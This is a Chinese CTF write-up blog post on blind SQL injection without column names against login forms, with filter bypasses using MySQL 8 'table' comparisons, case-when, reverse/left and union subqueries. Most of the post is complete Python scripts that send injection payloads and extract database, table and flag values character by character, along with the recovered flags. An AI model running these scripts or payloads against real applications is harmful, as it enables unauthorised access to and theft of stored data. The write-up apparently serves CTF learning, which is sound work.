sql-无列名盲注

无列名盲注

比较法

1.fuzz过滤内容

fuzz一下 发现select 和union都被过滤了,回顾一下select被过滤有什么能替代的
在堆叠注入中可以使用handler,使用预处理拼接绕过,还有mysql的8.0+新版本中的table

table 表名;
img

判断注入类型

页面有两种不同的回显方式:
img
img

确定使用布尔盲注

编写盲注脚本

#payload="database()"#ctf
payload="version()"#8.0.26-0ubuntu0.20.04.2

确定版本8.0+使用table进行注入

table information_schema.tables

但是想要获得ctf的那个表的相关列数据,我们还需要自己去注
难点:由于table 没有where 也没有group_concat,所以我们无法按照常规方法得到ctf的那个库有什么表,此时就需要使用无列名盲注。先通过无列名盲注注出ctf下的表,在通过无列名盲注注出ctf下的字段数据

表位置探测

利用比较法:
首先我们需要找出哪一行是我们需要的,本地测试发现,information_schema.tables有21个列,并且第一个字段值为def 第二个为数据库,由于我们已经知道数据库名字了,所以可以这样判断,不断更改limit的值,判断结果是否为1

并且可以利用这个转折点进行判断是否为我们需要的库
img

img

写一个探测的脚本
本来是想按照上面那个思路写的脚本,但是发现没有探测出来,于是换了一种思路,直接从第一位开始,因为我已经知道数据库的名字是ctf,所以按照 order by table_schema的排序 那么这个表就会在比较前面的位置

def search_co():
for i in range(0,100):
payload=f"admin'and/**/('def','d',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema limit {i},1)#".replace(" ","/**/")
data1={
'username':payload,
'password':"123"
}
#print(data1)
#print(s.post(url=url,data=data1).text)
if "username error!" in s.post(url=url,data=data1).text:
print("ctf库在第",i,"列")
img

爆破表脚本:

这个确实花了我好多时间,主要原因还是在于语句的书写上 有个细节,就是我们的表后面那个字段也是需要空出来的,不然就会造成改字段没比完的情况,还有另一个细节是一些特殊字符是不能去进行比较的,不然的话就直接出错了。。。

def sql_injection_s():
fina_wod=""
a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(0,100):
for j in range(0,62):
payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 0,1))#".replace(" ","/**/")
data={
'username':payload_2,
'password':"1"
}
r = s.post(url=url, data=data).text
#print(data)
if "username error" in r:
fina_wod+=a[j-1]
print(fina_wod)
break
img 爆破出来以后有一个admin,还有另外一个是f11114g

爆破flag

table 表名 limit 1,1;

之前为什么需要知道列名?因为列多,如果我们直接用substr截取的话会报错
img
那么意味着,如果只有一列 那么substr截取就可以不用列名也可以选取了:
img
所这里写脚本就很容易了直接用爆破库名的脚本来就行

table f11114g limit 0,1

需要注意的是 第一行没有flag,第二行才是

def sql_injection(pay_lo):#库名和版本
fina_wod=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_1=f"admin'and ascii(substr(({payload}),{i},1))>{mid}#".replace(" ","/**/")
data={
'username':payload_1,
'password':"1"
}
#print(data)
r=s.post(url=url,data=data).text
#print(r)
if "password error!" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
fina_wod += chr(mid)
print(fina_wod)
flag{8848f380-dce6-4184-a3d8-430e72c4eca0}

完整脚本:

import requests
s=requests.session()
url=""

def sql_injection(pay_lo):#库名和版本
fina_wod=""
for i in range(1,100):
low=32
high=128
mid=(low+high)//2
while(low<high):
payload_1=f"admin'and ascii(substr(({payload}),{i},1))>{mid}#".replace(" ","/**/")
data={
'username':payload_1,
'password':"1"
}
#print(data)
r=s.post(url=url,data=data).text
#print(r)
if "password error!" in r:
low = mid + 1
else:
high = mid
mid = (low + high) // 2
if (mid == 32 or mid == 128):
break
fina_wod += chr(mid)
print(fina_wod)

def sql_injection_s():#表名
fina_wod=""
a="0123456789ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz"
for i in range(0,100):
for j in range(0,62):
payload_2=f"admin'and (('def','ctf','{fina_wod+a[j]}','',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by TABLE_SCHEMA limit 1,1))#".replace(" ","/**/")
data={
'username':payload_2,
'password':"1"
}
r = s.post(url=url, data=data).text
#print(data)
if "username error" in r:
fina_wod+=a[j-1]
print(fina_wod)
break

def search_co():#探测表在第几个
for i in range(0,10000):
payload=f"admin'and/**/('def','ct',1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1)<(table information_schema.tables order by table_schema desc limit {i},1)#".replace(" ","/**/")
data1={
'username':payload,
'password':"123"
}
#print(data1)
#print(s.post(url=url,data=data1).text)
if "username error!" in s.post(url=url,data=data1).text:
print("ctf库在第",i,"列")


if __name__=="__main__":
#payload="database()"#ctf
#payload="version()"#8.0.26-0ubuntu0.20.04.2
payload="table f11114g limit 1,1"
#search_co()
#print_word()
sql_injection(payload)
#sql_injection_s()

union联合

fuzz过滤内容

看了一下过滤了最重要的info库,就意味着大概率是无列名盲注了,然后过滤了一些比较符号,还有likerlike等正则匹配函数,那么本题似乎只能用case when了的感觉
接下

判断注入类型

布尔盲注,回显分为

测试语句::root'and/**/case/**/1/**/when/**/1/**/then/**/1/**/else/**/0/**/end#
true:welcomt admin
false:wrong

编写盲注脚本:

构造注入语句

这题的截取函数基本都过滤了,所以这里使用
img

接下来就是跑表名,由于in库被过滤了,这里试了一下 发现

select group_concat(table_name) from sys.schema_table_statistics;

是可以的img

就可以跑出表名了
接下来使用union无列名盲注

select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2

得到表名以后 直接select * from SeCrrreT跑不出来,所以可以猜想肯定不止一行,所以后面要加limit 然后用无列名盲注,去尝试字段数

import requests
import string
url="http://a.y1ng.vip:1119/"
s=requests.session()
def sql_injection(payload):
data1=""
for i in range(1,100):
for j in range(32,128):
payload_tr=f"root'and case ascii(reverse(left(({payload}),{i}))) when {j} then 1 else 0 end#".replace(" ","/**/")
data={
"username":payload_tr,
"password":"1141"
}
r=s.post(url=url,data=data).text
#print(r)
#print(data)
if "Welcome Admin!" in r:
data1+=chr(j)
print(data1)
break



if __name__=="__main__":
#payload="database()"#ctfgame
#payload="select group_concat(table_name) from sys.schema_table_statistics"#users,SeCrrreT
payload="select a.1 from (select 1,2 union select * from `SeCrrreT`)a limit 1,2"#flag{fab99a66-23db-47b1-9db4-9262664d76a8}
sql_injection(payload)

我用的是case when进行盲注,看了一下师傅的 ,他使用的是between来替代没有了的比较函数

"username" : f"root' and (ascii(reverse(left(({select}),{i}))) between {ascii} and {ascii+1})#".replace(" ", "/**/"),

这是他的语句,收藏起来了~

Author

vague huang

Posted on

2021-08-09

Updated on

2021-08-18

Licensed under

Comments